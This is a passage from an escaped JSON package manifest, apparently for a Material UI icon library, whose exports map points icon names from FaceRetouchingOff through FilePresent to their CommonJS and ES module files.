\"./FaceRetouchingOffOutlined.js\",\n      \"import\": \"./FaceRetouchingOffOutlined.mjs\",\n      \"default\": \"./FaceRetouchingOffOutlined.mjs\"\n    },\n    \"./FaceRetouchingOffRounded\": {\n      \"require\": \"./FaceRetouchingOffRounded.js\",\n      \"import\": \"./FaceRetouchingOffRounded.mjs\",\n      \"default\": \"./FaceRetouchingOffRounded.mjs\"\n    },\n    \"./FaceRetouchingOffSharp\": {\n      \"require\": \"./FaceRetouchingOffSharp.js\",\n      \"import\": \"./FaceRetouchingOffSharp.mjs\",\n      \"default\": \"./FaceRetouchingOffSharp.mjs\"\n    },\n    \"./FaceRetouchingOffTwoTone\": {\n      \"require\": \"./FaceRetouchingOffTwoTone.js\",\n      \"import\": \"./FaceRetouchingOffTwoTone.mjs\",\n      \"default\": \"./FaceRetouchingOffTwoTone.mjs\"\n    },\n    \"./FaceRounded\": {\n      \"require\": \"./FaceRounded.js\",\n      \"import\": \"./FaceRounded.mjs\",\n      \"default\": \"./FaceRounded.mjs\"\n    },\n    \"./FaceSharp\": {\n      \"require\": \"./FaceSharp.js\",\n      \"import\": \"./FaceSharp.mjs\",\n      \"default\": \"./FaceSharp.mjs\"\n    },\n    \"./FaceTwoTone\": {\n      \"require\": \"./FaceTwoTone.js\",\n      \"import\": \"./FaceTwoTone.mjs\",\n      \"default\": \"./FaceTwoTone.mjs\"\n    },\n    \"./FaceUnlockOutlined\": {\n      \"require\": \"./FaceUnlockOutlined.js\",\n      \"import\": \"./FaceUnlockOutlined.mjs\",\n      \"default\": \"./FaceUnlockOutlined.mjs\"\n    },\n    \"./FaceUnlockRounded\": {\n      \"require\": \"./FaceUnlockRounded.js\",\n      \"import\": \"./FaceUnlockRounded.mjs\",\n      \"default\": \"./FaceUnlockRounded.mjs\"\n    },\n    \"./FaceUnlockSharp\": {\n      \"require\": \"./FaceUnlockSharp.js\",\n      \"import\": \"./FaceUnlockSharp.mjs\",\n      \"default\": \"./FaceUnlockSharp.mjs\"\n    },\n    \"./FaceUnlockTwoTone\": {\n      \"require\": \"./FaceUnlockTwoTone.js\",\n      \"import\": \"./FaceUnlockTwoTone.mjs\",\n      \"default\": \"./FaceUnlockTwoTone.mjs\"\n    },\n    \"./Facebook\": {\n      \"require\": \"./Facebook.js\",\n      \"import\": \"./Facebook.mjs\",\n      \"default\": \"./Facebook.mjs\"\n    },\n    \"./FacebookOutlined\": {\n      \"require\": \"./FacebookOutlined.js\",\n      \"import\": \"./FacebookOutlined.mjs\",\n      \"default\": \"./FacebookOutlined.mjs\"\n    },\n    \"./FacebookRounded\": {\n      \"require\": \"./FacebookRounded.js\",\n      \"import\": \"./FacebookRounded.mjs\",\n      \"default\": \"./FacebookRounded.mjs\"\n    },\n    \"./FacebookSharp\": {\n      \"require\": \"./FacebookSharp.js\",\n      \"import\": \"./FacebookSharp.mjs\",\n      \"default\": \"./FacebookSharp.mjs\"\n    },\n    \"./FacebookTwoTone\": {\n      \"import\": \"./FacebookTwoTone.mjs\",\n      \"require\": \"./FacebookTwoTone.js\",\n      \"default\": \"./FacebookTwoTone.mjs\"\n    },\n    \"./FactCheck\": {\n      \"import\": \"./FactCheck.mjs\",\n      \"require\": \"./FactCheck.js\",\n      \"default\": \"./FactCheck.mjs\"\n    },\n    \"./FactCheckOutlined\": {\n      \"import\": \"./FactCheckOutlined.mjs\",\n      \"require\": \"./FactCheckOutlined.js\",\n      \"default\": \"./FactCheckOutlined.mjs\"\n    },\n    \"./FactCheckRounded\": {\n      \"require\": \"./FactCheckRounded.js\",\n      \"import\": \"./FactCheckRounded.mjs\",\n      \"default\": \"./FactCheckRounded.mjs\"\n    },\n    \"./FactCheckSharp\": {\n      \"require\": \"./FactCheckSharp.js\",\n      \"import\": \"./FactCheckSharp.mjs\",\n      \"default\": \"./FactCheckSharp.mjs\"\n    },\n    \"./FactCheckTwoTone\": {\n      \"import\": \"./FactCheckTwoTone.mjs\",\n      \"require\": \"./FactCheckTwoTone.js\",\n      \"default\": \"./FactCheckTwoTone.mjs\"\n    },\n    \"./Factory\": {\n      \"import\": \"./Factory.mjs\",\n      \"require\": \"./Factory.js\",\n      \"default\": \"./Factory.mjs\"\n    },\n    \"./FactoryOutlined\": {\n      \"require\": \"./FactoryOutlined.js\",\n      \"import\": \"./FactoryOutlined.mjs\",\n      \"default\": \"./FactoryOutlined.mjs\"\n    },\n    \"./FactoryRounded\": {\n      \"require\": \"./FactoryRounded.js\",\n      \"import\": \"./FactoryRounded.mjs\",\n      \"default\": \"./FactoryRounded.mjs\"\n    },\n    \"./FactorySharp\": {\n      \"require\": \"./FactorySharp.js\",\n      \"import\": \"./FactorySharp.mjs\",\n      \"default\": \"./FactorySharp.mjs\"\n    },\n    \"./FactoryTwoTone\": {\n      \"require\": \"./FactoryTwoTone.js\",\n      \"import\": \"./FactoryTwoTone.mjs\",\n      \"default\": \"./FactoryTwoTone.mjs\"\n    },\n    \"./FamilyRestroom\": {\n      \"require\": \"./FamilyRestroom.js\",\n      \"import\": \"./FamilyRestroom.mjs\",\n      \"default\": \"./FamilyRestroom.mjs\"\n    },\n    \"./FamilyRestroomOutlined\": {\n      \"require\": \"./FamilyRestroomOutlined.js\",\n      \"import\": \"./FamilyRestroomOutlined.mjs\",\n      \"default\": \"./FamilyRestroomOutlined.mjs\"\n    },\n    \"./FamilyRestroomRounded\": {\n      \"import\": \"./FamilyRestroomRounded.mjs\",\n      \"require\": \"./FamilyRestroomRounded.js\",\n      \"default\": \"./FamilyRestroomRounded.mjs\"\n    },\n    \"./FamilyRestroomSharp\": {\n      \"import\": \"./FamilyRestroomSharp.mjs\",\n      \"require\": \"./FamilyRestroomSharp.js\",\n      \"default\": \"./FamilyRestroomSharp.mjs\"\n    },\n    \"./FamilyRestroomTwoTone\": {\n      \"import\": \"./FamilyRestroomTwoTone.mjs\",\n      \"require\": \"./FamilyRestroomTwoTone.js\",\n      \"default\": \"./FamilyRestroomTwoTone.mjs\"\n    },\n    \"./FastForward\": {\n      \"import\": \"./FastForward.mjs\",\n      \"require\": \"./FastForward.js\",\n      \"default\": \"./FastForward.mjs\"\n    },\n    \"./FastForwardOutlined\": {\n      \"import\": \"./FastForwardOutlined.mjs\",\n      \"require\": \"./FastForwardOutlined.js\",\n      \"default\": \"./FastForwardOutlined.mjs\"\n    },\n    \"./FastForwardRounded\": {\n      \"import\": \"./FastForwardRounded.mjs\",\n      \"require\": \"./FastForwardRounded.js\",\n      \"default\": \"./FastForwardRounded.mjs\"\n    },\n    \"./FastForwardSharp\": {\n      \"import\": \"./FastForwardSharp.mjs\",\n      \"require\": \"./FastForwardSharp.js\",\n      \"default\": \"./FastForwardSharp.mjs\"\n    },\n    \"./FastForwardTwoTone\": {\n      \"import\": \"./FastForwardTwoTone.mjs\",\n      \"require\": \"./FastForwardTwoTone.js\",\n      \"default\": \"./FastForwardTwoTone.mjs\"\n    },\n    \"./FastRewind\": {\n      \"import\": \"./FastRewind.mjs\",\n      \"require\": \"./FastRewind.js\",\n      \"default\": \"./FastRewind.mjs\"\n    },\n    \"./FastRewindOutlined\": {\n      \"import\": \"./FastRewindOutlined.mjs\",\n      \"require\": \"./FastRewindOutlined.js\",\n      \"default\": \"./FastRewindOutlined.mjs\"\n    },\n    \"./FastRewindRounded\": {\n      \"import\": \"./FastRewindRounded.mjs\",\n      \"require\": \"./FastRewindRounded.js\",\n      \"default\": \"./FastRewindRounded.mjs\"\n    },\n    \"./FastRewindSharp\": {\n      \"import\": \"./FastRewindSharp.mjs\",\n      \"require\": \"./FastRewindSharp.js\",\n      \"default\": \"./FastRewindSharp.mjs\"\n    },\n    \"./FastRewindTwoTone\": {\n      \"import\": \"./FastRewindTwoTone.mjs\",\n      \"require\": \"./FastRewindTwoTone.js\",\n      \"default\": \"./FastRewindTwoTone.mjs\"\n    },\n    \"./Fastfood\": {\n      \"import\": \"./Fastfood.mjs\",\n      \"require\": \"./Fastfood.js\",\n      \"default\": \"./Fastfood.mjs\"\n    },\n    \"./FastfoodOutlined\": {\n      \"import\": \"./FastfoodOutlined.mjs\",\n      \"require\": \"./FastfoodOutlined.js\",\n      \"default\": \"./FastfoodOutlined.mjs\"\n    },\n    \"./FastfoodRounded\": {\n      \"import\": \"./FastfoodRounded.mjs\",\n      \"require\": \"./FastfoodRounded.js\",\n      \"default\": \"./FastfoodRounded.mjs\"\n    },\n    \"./FastfoodSharp\": {\n      \"import\": \"./FastfoodSharp.mjs\",\n      \"require\": \"./FastfoodSharp.js\",\n      \"default\": \"./FastfoodSharp.mjs\"\n    },\n    \"./FastfoodTwoTone\": {\n      \"import\": \"./FastfoodTwoTone.mjs\",\n      \"require\": \"./FastfoodTwoTone.js\",\n      \"default\": \"./FastfoodTwoTone.mjs\"\n    },\n    \"./Favorite\": {\n      \"import\": \"./Favorite.mjs\",\n      \"require\": \"./Favorite.js\",\n      \"default\": \"./Favorite.mjs\"\n    },\n    \"./FavoriteBorder\": {\n      \"import\": \"./FavoriteBorder.mjs\",\n      \"require\": \"./FavoriteBorder.js\",\n      \"default\": \"./FavoriteBorder.mjs\"\n    },\n    \"./FavoriteBorderOutlined\": {\n      \"import\": \"./FavoriteBorderOutlined.mjs\",\n      \"require\": \"./FavoriteBorderOutlined.js\",\n      \"default\": \"./FavoriteBorderOutlined.mjs\"\n    },\n    \"./FavoriteBorderRounded\": {\n      \"import\": \"./FavoriteBorderRounded.mjs\",\n      \"require\": \"./FavoriteBorderRounded.js\",\n      \"default\": \"./FavoriteBorderRounded.mjs\"\n    },\n    \"./FavoriteBorderSharp\": {\n      \"import\": \"./FavoriteBorderSharp.mjs\",\n      \"require\": \"./FavoriteBorderSharp.js\",\n      \"default\": \"./FavoriteBorderSharp.mjs\"\n    },\n    \"./FavoriteBorderTwoTone\": {\n      \"import\": \"./FavoriteBorderTwoTone.mjs\",\n      \"require\": \"./FavoriteBorderTwoTone.js\",\n      \"default\": \"./FavoriteBorderTwoTone.mjs\"\n    },\n    \"./FavoriteOutlined\": {\n      \"import\": \"./FavoriteOutlined.mjs\",\n      \"require\": \"./FavoriteOutlined.js\",\n      \"default\": \"./FavoriteOutlined.mjs\"\n    },\n    \"./FavoriteRounded\": {\n      \"import\": \"./FavoriteRounded.mjs\",\n      \"require\": \"./FavoriteRounded.js\",\n      \"default\": \"./FavoriteRounded.mjs\"\n    },\n    \"./FavoriteSharp\": {\n      \"import\": \"./FavoriteSharp.mjs\",\n      \"require\": \"./FavoriteSharp.js\",\n      \"default\": \"./FavoriteSharp.mjs\"\n    },\n    \"./FavoriteTwoTone\": {\n      \"import\": \"./FavoriteTwoTone.mjs\",\n      \"require\": \"./FavoriteTwoTone.js\",\n      \"default\": \"./FavoriteTwoTone.mjs\"\n    },\n    \"./Fax\": {\n      \"import\": \"./Fax.mjs\",\n      \"require\": \"./Fax.js\",\n      \"default\": \"./Fax.mjs\"\n    },\n    \"./FaxOutlined\": {\n      \"import\": \"./FaxOutlined.mjs\",\n      \"require\": \"./FaxOutlined.js\",\n      \"default\": \"./FaxOutlined.mjs\"\n    },\n    \"./FaxRounded\": {\n      \"import\": \"./FaxRounded.mjs\",\n      \"require\": \"./FaxRounded.js\",\n      \"default\": \"./FaxRounded.mjs\"\n    },\n    \"./FaxSharp\": {\n      \"import\": \"./FaxSharp.mjs\",\n      \"require\": \"./FaxSharp.js\",\n      \"default\": \"./FaxSharp.mjs\"\n    },\n    \"./FaxTwoTone\": {\n      \"import\": \"./FaxTwoTone.mjs\",\n      \"require\": \"./FaxTwoTone.js\",\n      \"default\": \"./FaxTwoTone.mjs\"\n    },\n    \"./FeaturedPlayList\": {\n      \"import\": \"./FeaturedPlayList.mjs\",\n      \"require\": \"./FeaturedPlayList.js\",\n      \"default\": \"./FeaturedPlayList.mjs\"\n    },\n    \"./FeaturedPlayListOutlined\": {\n      \"import\": \"./FeaturedPlayListOutlined.mjs\",\n      \"require\": \"./FeaturedPlayListOutlined.js\",\n      \"default\": \"./FeaturedPlayListOutlined.mjs\"\n    },\n    \"./FeaturedPlayListRounded\": {\n      \"import\": \"./FeaturedPlayListRounded.mjs\",\n      \"require\": \"./FeaturedPlayListRounded.js\",\n      \"default\": \"./FeaturedPlayListRounded.mjs\"\n    },\n    \"./FeaturedPlayListSharp\": {\n      \"require\": \"./FeaturedPlayListSharp.js\",\n      \"import\": \"./FeaturedPlayListSharp.mjs\",\n      \"default\": \"./FeaturedPlayListSharp.mjs\"\n    },\n    \"./FeaturedPlayListTwoTone\": {\n      \"require\": \"./FeaturedPlayListTwoTone.js\",\n      \"import\": \"./FeaturedPlayListTwoTone.mjs\",\n      \"default\": \"./FeaturedPlayListTwoTone.mjs\"\n    },\n    \"./FeaturedVideo\": {\n      \"require\": \"./FeaturedVideo.js\",\n      \"import\": \"./FeaturedVideo.mjs\",\n      \"default\": \"./FeaturedVideo.mjs\"\n    },\n    \"./FeaturedVideoOutlined\": {\n      \"require\": \"./FeaturedVideoOutlined.js\",\n      \"import\": \"./FeaturedVideoOutlined.mjs\",\n      \"default\": \"./FeaturedVideoOutlined.mjs\"\n    },\n    \"./FeaturedVideoRounded\": {\n      \"require\": \"./FeaturedVideoRounded.js\",\n      \"import\": \"./FeaturedVideoRounded.mjs\",\n      \"default\": \"./FeaturedVideoRounded.mjs\"\n    },\n    \"./FeaturedVideoSharp\": {\n      \"require\": \"./FeaturedVideoSharp.js\",\n      \"import\": \"./FeaturedVideoSharp.mjs\",\n      \"default\": \"./FeaturedVideoSharp.mjs\"\n    },\n    \"./FeaturedVideoTwoTone\": {\n      \"require\": \"./FeaturedVideoTwoTone.js\",\n      \"import\": \"./FeaturedVideoTwoTone.mjs\",\n      \"default\": \"./FeaturedVideoTwoTone.mjs\"\n    },\n    \"./Feed\": {\n      \"require\": \"./Feed.js\",\n      \"import\": \"./Feed.mjs\",\n      \"default\": \"./Feed.mjs\"\n    },\n    \"./FeedOutlined\": {\n      \"import\": \"./FeedOutlined.mjs\",\n      \"require\": \"./FeedOutlined.js\",\n      \"default\": \"./FeedOutlined.mjs\"\n    },\n    \"./FeedRounded\": {\n      \"import\": \"./FeedRounded.mjs\",\n      \"require\": \"./FeedRounded.js\",\n      \"default\": \"./FeedRounded.mjs\"\n    },\n    \"./FeedSharp\": {\n      \"import\": \"./FeedSharp.mjs\",\n      \"require\": \"./FeedSharp.js\",\n      \"default\": \"./FeedSharp.mjs\"\n    },\n    \"./FeedTwoTone\": {\n      \"import\": \"./FeedTwoTone.mjs\",\n      \"require\": \"./FeedTwoTone.js\",\n      \"default\": \"./FeedTwoTone.mjs\"\n    },\n    \"./Feedback\": {\n      \"require\": \"./Feedback.js\",\n      \"import\": \"./Feedback.mjs\",\n      \"default\": \"./Feedback.mjs\"\n    },\n    \"./FeedbackOutlined\": {\n      \"require\": \"./FeedbackOutlined.js\",\n      \"import\": \"./FeedbackOutlined.mjs\",\n      \"default\": \"./FeedbackOutlined.mjs\"\n    },\n    \"./FeedbackRounded\": {\n      \"require\": \"./FeedbackRounded.js\",\n      \"import\": \"./FeedbackRounded.mjs\",\n      \"default\": \"./FeedbackRounded.mjs\"\n    },\n    \"./FeedbackSharp\": {\n      \"require\": \"./FeedbackSharp.js\",\n      \"import\": \"./FeedbackSharp.mjs\",\n      \"default\": \"./FeedbackSharp.mjs\"\n    },\n    \"./FeedbackTwoTone\": {\n      \"import\": \"./FeedbackTwoTone.mjs\",\n      \"require\": \"./FeedbackTwoTone.js\",\n      \"default\": \"./FeedbackTwoTone.mjs\"\n    },\n    \"./Female\": {\n      \"import\": \"./Female.mjs\",\n      \"require\": \"./Female.js\",\n      \"default\": \"./Female.mjs\"\n    },\n    \"./FemaleOutlined\": {\n      \"import\": \"./FemaleOutlined.mjs\",\n      \"require\": \"./FemaleOutlined.js\",\n      \"default\": \"./FemaleOutlined.mjs\"\n    },\n    \"./FemaleRounded\": {\n      \"import\": \"./FemaleRounded.mjs\",\n      \"require\": \"./FemaleRounded.js\",\n      \"default\": \"./FemaleRounded.mjs\"\n    },\n    \"./FemaleSharp\": {\n      \"import\": \"./FemaleSharp.mjs\",\n      \"require\": \"./FemaleSharp.js\",\n      \"default\": \"./FemaleSharp.mjs\"\n    },\n    \"./FemaleTwoTone\": {\n      \"import\": \"./FemaleTwoTone.mjs\",\n      \"require\": \"./FemaleTwoTone.js\",\n      \"default\": \"./FemaleTwoTone.mjs\"\n    },\n    \"./Fence\": {\n      \"import\": \"./Fence.mjs\",\n      \"require\": \"./Fence.js\",\n      \"default\": \"./Fence.mjs\"\n    },\n    \"./FenceOutlined\": {\n      \"import\": \"./FenceOutlined.mjs\",\n      \"require\": \"./FenceOutlined.js\",\n      \"default\": \"./FenceOutlined.mjs\"\n    },\n    \"./FenceRounded\": {\n      \"import\": \"./FenceRounded.mjs\",\n      \"require\": \"./FenceRounded.js\",\n      \"default\": \"./FenceRounded.mjs\"\n    },\n    \"./FenceSharp\": {\n      \"import\": \"./FenceSharp.mjs\",\n      \"require\": \"./FenceSharp.js\",\n      \"default\": \"./FenceSharp.mjs\"\n    },\n    \"./FenceTwoTone\": {\n      \"import\": \"./FenceTwoTone.mjs\",\n      \"require\": \"./FenceTwoTone.js\",\n      \"default\": \"./FenceTwoTone.mjs\"\n    },\n    \"./Festival\": {\n      \"require\": \"./Festival.js\",\n      \"import\": \"./Festival.mjs\",\n      \"default\": \"./Festival.mjs\"\n    },\n    \"./FestivalOutlined\": {\n      \"require\": \"./FestivalOutlined.js\",\n      \"import\": \"./FestivalOutlined.mjs\",\n      \"default\": \"./FestivalOutlined.mjs\"\n    },\n    \"./FestivalRounded\": {\n      \"require\": \"./FestivalRounded.js\",\n      \"import\": \"./FestivalRounded.mjs\",\n      \"default\": \"./FestivalRounded.mjs\"\n    },\n    \"./FestivalSharp\": {\n      \"require\": \"./FestivalSharp.js\",\n      \"import\": \"./FestivalSharp.mjs\",\n      \"default\": \"./FestivalSharp.mjs\"\n    },\n    \"./FestivalTwoTone\": {\n      \"require\": \"./FestivalTwoTone.js\",\n      \"import\": \"./FestivalTwoTone.mjs\",\n      \"default\": \"./FestivalTwoTone.mjs\"\n    },\n    \"./FiberDvr\": {\n      \"require\": \"./FiberDvr.js\",\n      \"import\": \"./FiberDvr.mjs\",\n      \"default\": \"./FiberDvr.mjs\"\n    },\n    \"./FiberDvrOutlined\": {\n      \"require\": \"./FiberDvrOutlined.js\",\n      \"import\": \"./FiberDvrOutlined.mjs\",\n      \"default\": \"./FiberDvrOutlined.mjs\"\n    },\n    \"./FiberDvrRounded\": {\n      \"require\": \"./FiberDvrRounded.js\",\n      \"import\": \"./FiberDvrRounded.mjs\",\n      \"default\": \"./FiberDvrRounded.mjs\"\n    },\n    \"./FiberDvrSharp\": {\n      \"require\": \"./FiberDvrSharp.js\",\n      \"import\": \"./FiberDvrSharp.mjs\",\n      \"default\": \"./FiberDvrSharp.mjs\"\n    },\n    \"./FiberDvrTwoTone\": {\n      \"require\": \"./FiberDvrTwoTone.js\",\n      \"import\": \"./FiberDvrTwoTone.mjs\",\n      \"default\": \"./FiberDvrTwoTone.mjs\"\n    },\n    \"./FiberManualRecord\": {\n      \"require\": \"./FiberManualRecord.js\",\n      \"import\": \"./FiberManualRecord.mjs\",\n      \"default\": \"./FiberManualRecord.mjs\"\n    },\n    \"./FiberManualRecordOutlined\": {\n      \"require\": \"./FiberManualRecordOutlined.js\",\n      \"import\": \"./FiberManualRecordOutlined.mjs\",\n      \"default\": \"./FiberManualRecordOutlined.mjs\"\n    },\n    \"./FiberManualRecordRounded\": {\n      \"require\": \"./FiberManualRecordRounded.js\",\n      \"import\": \"./FiberManualRecordRounded.mjs\",\n      \"default\": \"./FiberManualRecordRounded.mjs\"\n    },\n    \"./FiberManualRecordSharp\": {\n      \"require\": \"./FiberManualRecordSharp.js\",\n      \"import\": \"./FiberManualRecordSharp.mjs\",\n      \"default\": \"./FiberManualRecordSharp.mjs\"\n    },\n    \"./FiberManualRecordTwoTone\": {\n      \"require\": \"./FiberManualRecordTwoTone.js\",\n      \"import\": \"./FiberManualRecordTwoTone.mjs\",\n      \"default\": \"./FiberManualRecordTwoTone.mjs\"\n    },\n    \"./FiberNew\": {\n      \"require\": \"./FiberNew.js\",\n      \"import\": \"./FiberNew.mjs\",\n      \"default\": \"./FiberNew.mjs\"\n    },\n    \"./FiberNewOutlined\": {\n      \"require\": \"./FiberNewOutlined.js\",\n      \"import\": \"./FiberNewOutlined.mjs\",\n      \"default\": \"./FiberNewOutlined.mjs\"\n    },\n    \"./FiberNewRounded\": {\n      \"require\": \"./FiberNewRounded.js\",\n      \"import\": \"./FiberNewRounded.mjs\",\n      \"default\": \"./FiberNewRounded.mjs\"\n    },\n    \"./FiberNewSharp\": {\n      \"import\": \"./FiberNewSharp.mjs\",\n      \"require\": \"./FiberNewSharp.js\",\n      \"default\": \"./FiberNewSharp.mjs\"\n    },\n    \"./FiberNewTwoTone\": {\n      \"import\": \"./FiberNewTwoTone.mjs\",\n      \"require\": \"./FiberNewTwoTone.js\",\n      \"default\": \"./FiberNewTwoTone.mjs\"\n    },\n    \"./FiberPin\": {\n      \"require\": \"./FiberPin.js\",\n      \"import\": \"./FiberPin.mjs\",\n      \"default\": \"./FiberPin.mjs\"\n    },\n    \"./FiberPinOutlined\": {\n      \"require\": \"./FiberPinOutlined.js\",\n      \"import\": \"./FiberPinOutlined.mjs\",\n      \"default\": \"./FiberPinOutlined.mjs\"\n    },\n    \"./FiberPinRounded\": {\n      \"require\": \"./FiberPinRounded.js\",\n      \"import\": \"./FiberPinRounded.mjs\",\n      \"default\": \"./FiberPinRounded.mjs\"\n    },\n    \"./FiberPinSharp\": {\n      \"require\": \"./FiberPinSharp.js\",\n      \"import\": \"./FiberPinSharp.mjs\",\n      \"default\": \"./FiberPinSharp.mjs\"\n    },\n    \"./FiberPinTwoTone\": {\n      \"require\": \"./FiberPinTwoTone.js\",\n      \"import\": \"./FiberPinTwoTone.mjs\",\n      \"default\": \"./FiberPinTwoTone.mjs\"\n    },\n    \"./FiberSmartRecord\": {\n      \"require\": \"./FiberSmartRecord.js\",\n      \"import\": \"./FiberSmartRecord.mjs\",\n      \"default\": \"./FiberSmartRecord.mjs\"\n    },\n    \"./FiberSmartRecordOutlined\": {\n      \"require\": \"./FiberSmartRecordOutlined.js\",\n      \"import\": \"./FiberSmartRecordOutlined.mjs\",\n      \"default\": \"./FiberSmartRecordOutlined.mjs\"\n    },\n    \"./FiberSmartRecordRounded\": {\n      \"require\": \"./FiberSmartRecordRounded.js\",\n      \"import\": \"./FiberSmartRecordRounded.mjs\",\n      \"default\": \"./FiberSmartRecordRounded.mjs\"\n    },\n    \"./FiberSmartRecordSharp\": {\n      \"require\": \"./FiberSmartRecordSharp.js\",\n      \"import\": \"./FiberSmartRecordSharp.mjs\",\n      \"default\": \"./FiberSmartRecordSharp.mjs\"\n    },\n    \"./FiberSmartRecordTwoTone\": {\n      \"require\": \"./FiberSmartRecordTwoTone.js\",\n      \"import\": \"./FiberSmartRecordTwoTone.mjs\",\n      \"default\": \"./FiberSmartRecordTwoTone.mjs\"\n    },\n    \"./FifteenMp\": {\n      \"require\": \"./FifteenMp.js\",\n      \"import\": \"./FifteenMp.mjs\",\n      \"default\": \"./FifteenMp.mjs\"\n    },\n    \"./FifteenMpOutlined\": {\n      \"require\": \"./FifteenMpOutlined.js\",\n      \"import\": \"./FifteenMpOutlined.mjs\",\n      \"default\": \"./FifteenMpOutlined.mjs\"\n    },\n    \"./FifteenMpRounded\": {\n      \"require\": \"./FifteenMpRounded.js\",\n      \"import\": \"./FifteenMpRounded.mjs\",\n      \"default\": \"./FifteenMpRounded.mjs\"\n    },\n    \"./FifteenMpSharp\": {\n      \"require\": \"./FifteenMpSharp.js\",\n      \"import\": \"./FifteenMpSharp.mjs\",\n      \"default\": \"./FifteenMpSharp.mjs\"\n    },\n    \"./FifteenMpTwoTone\": {\n      \"require\": \"./FifteenMpTwoTone.js\",\n      \"import\": \"./FifteenMpTwoTone.mjs\",\n      \"default\": \"./FifteenMpTwoTone.mjs\"\n    },\n    \"./FileCopy\": {\n      \"require\": \"./FileCopy.js\",\n      \"import\": \"./FileCopy.mjs\",\n      \"default\": \"./FileCopy.mjs\"\n    },\n    \"./FileCopyOutlined\": {\n      \"require\": \"./FileCopyOutlined.js\",\n      \"import\": \"./FileCopyOutlined.mjs\",\n      \"default\": \"./FileCopyOutlined.mjs\"\n    },\n    \"./FileCopyRounded\": {\n      \"require\": \"./FileCopyRounded.js\",\n      \"import\": \"./FileCopyRounded.mjs\",\n      \"default\": \"./FileCopyRounded.mjs\"\n    },\n    \"./FileCopySharp\": {\n      \"require\": \"./FileCopySharp.js\",\n      \"import\": \"./FileCopySharp.mjs\",\n      \"default\": \"./FileCopySharp.mjs\"\n    },\n    \"./FileCopyTwoTone\": {\n      \"require\": \"./FileCopyTwoTone.js\",\n      \"import\": \"./FileCopyTwoTone.mjs\",\n      \"default\": \"./FileCopyTwoTone.mjs\"\n    },\n    \"./FileDownload\": {\n      \"require\": \"./FileDownload.js\",\n      \"import\": \"./FileDownload.mjs\",\n      \"default\": \"./FileDownload.mjs\"\n    },\n    \"./FileDownloadDone\": {\n      \"require\": \"./FileDownloadDone.js\",\n      \"import\": \"./FileDownloadDone.mjs\",\n      \"default\": \"./FileDownloadDone.mjs\"\n    },\n    \"./FileDownloadDoneOutlined\": {\n      \"require\": \"./FileDownloadDoneOutlined.js\",\n      \"import\": \"./FileDownloadDoneOutlined.mjs\",\n      \"default\": \"./FileDownloadDoneOutlined.mjs\"\n    },\n    \"./FileDownloadDoneRounded\": {\n      \"require\": \"./FileDownloadDoneRounded.js\",\n      \"import\": \"./FileDownloadDoneRounded.mjs\",\n      \"default\": \"./FileDownloadDoneRounded.mjs\"\n    },\n    \"./FileDownloadDoneSharp\": {\n      \"require\": \"./FileDownloadDoneSharp.js\",\n      \"import\": \"./FileDownloadDoneSharp.mjs\",\n      \"default\": \"./FileDownloadDoneSharp.mjs\"\n    },\n    \"./FileDownloadDoneTwoTone\": {\n      \"require\": \"./FileDownloadDoneTwoTone.js\",\n      \"import\": \"./FileDownloadDoneTwoTone.mjs\",\n      \"default\": \"./FileDownloadDoneTwoTone.mjs\"\n    },\n    \"./FileDownloadOff\": {\n      \"require\": \"./FileDownloadOff.js\",\n      \"import\": \"./FileDownloadOff.mjs\",\n      \"default\": \"./FileDownloadOff.mjs\"\n    },\n    \"./FileDownloadOffOutlined\": {\n      \"require\": \"./FileDownloadOffOutlined.js\",\n      \"import\": \"./FileDownloadOffOutlined.mjs\",\n      \"default\": \"./FileDownloadOffOutlined.mjs\"\n    },\n    \"./FileDownloadOffRounded\": {\n      \"require\": \"./FileDownloadOffRounded.js\",\n      \"import\": \"./FileDownloadOffRounded.mjs\",\n      \"default\": \"./FileDownloadOffRounded.mjs\"\n    },\n    \"./FileDownloadOffSharp\": {\n      \"require\": \"./FileDownloadOffSharp.js\",\n      \"import\": \"./FileDownloadOffSharp.mjs\",\n      \"default\": \"./FileDownloadOffSharp.mjs\"\n    },\n    \"./FileDownloadOffTwoTone\": {\n      \"require\": \"./FileDownloadOffTwoTone.js\",\n      \"import\": \"./FileDownloadOffTwoTone.mjs\",\n      \"default\": \"./FileDownloadOffTwoTone.mjs\"\n    },\n    \"./FileDownloadOutlined\": {\n      \"require\": \"./FileDownloadOutlined.js\",\n      \"import\": \"./FileDownloadOutlined.mjs\",\n      \"default\": \"./FileDownloadOutlined.mjs\"\n    },\n    \"./FileDownloadRounded\": {\n      \"require\": \"./FileDownloadRounded.js\",\n      \"import\": \"./FileDownloadRounded.mjs\",\n      \"default\": \"./FileDownloadRounded.mjs\"\n    },\n    \"./FileDownloadSharp\": {\n      \"require\": \"./FileDownloadSharp.js\",\n      \"import\": \"./FileDownloadSharp.mjs\",\n      \"default\": \"./FileDownloadSharp.mjs\"\n    },\n    \"./FileDownloadTwoTone\": {\n      \"require\": \"./FileDownloadTwoTone.js\",\n      \"import\": \"./FileDownloadTwoTone.mjs\",\n      \"default\": \"./FileDownloadTwoTone.mjs\"\n    },\n    \"./FileOpen\": {\n      \"require\": \"./FileOpen.js\",\n      \"import\": \"./FileOpen.mjs\",\n      \"default\": \"./FileOpen.mjs\"\n    },\n    \"./FileOpenOutlined\": {\n      \"require\": \"./FileOpenOutlined.js\",\n      \"import\": \"./FileOpenOutlined.mjs\",\n      \"default\": \"./FileOpenOutlined.mjs\"\n    },\n    \"./FileOpenRounded\": {\n      \"require\": \"./FileOpenRounded.js\",\n      \"import\": \"./FileOpenRounded.mjs\",\n      \"default\": \"./FileOpenRounded.mjs\"\n    },\n    \"./FileOpenSharp\": {\n      \"require\": \"./FileOpenSharp.js\",\n      \"import\": \"./FileOpenSharp.mjs\",\n      \"default\": \"./FileOpenSharp.mjs\"\n    },\n    \"./FileOpenTwoTone\": {\n      \"require\": \"./FileOpenTwoTone.js\",\n      \"import\": \"./FileOpenTwoTone.mjs\",\n      \"default\": \"./FileOpenTwoTone.mjs\"\n    },\n    \"./FilePresent\": {\n      \"require\": \"./FilePresent.js\",\n      \"import\": \"./FilePresent.mjs\",\n      \"default\": \"./FilePresent.mjs\"\n    },\n    \"./FilePresentOutlined\": {\n      \"require\": \"./FilePresentOutlined.js\",\n      \"import\": \"./FilePresentOutlined.mjs\",\n      \"default\": \"./FilePresentOutlined.mjs\"\n    },\n    \"./FilePresentRounded\": {\n      \"require\": \"./FilePresentRounded.js\",\n      \"import\": \"./FilePresentRounded.mjs\",\n      \"default\": \"./FilePresentRounded.mjs\"\n    },\n    \"./FilePresentSharp\": {\n      \"require\": \"./FilePresentSharp.js\",\n      \"import\": \"./FilePresentSharp.mjs\",\n      \"default\": 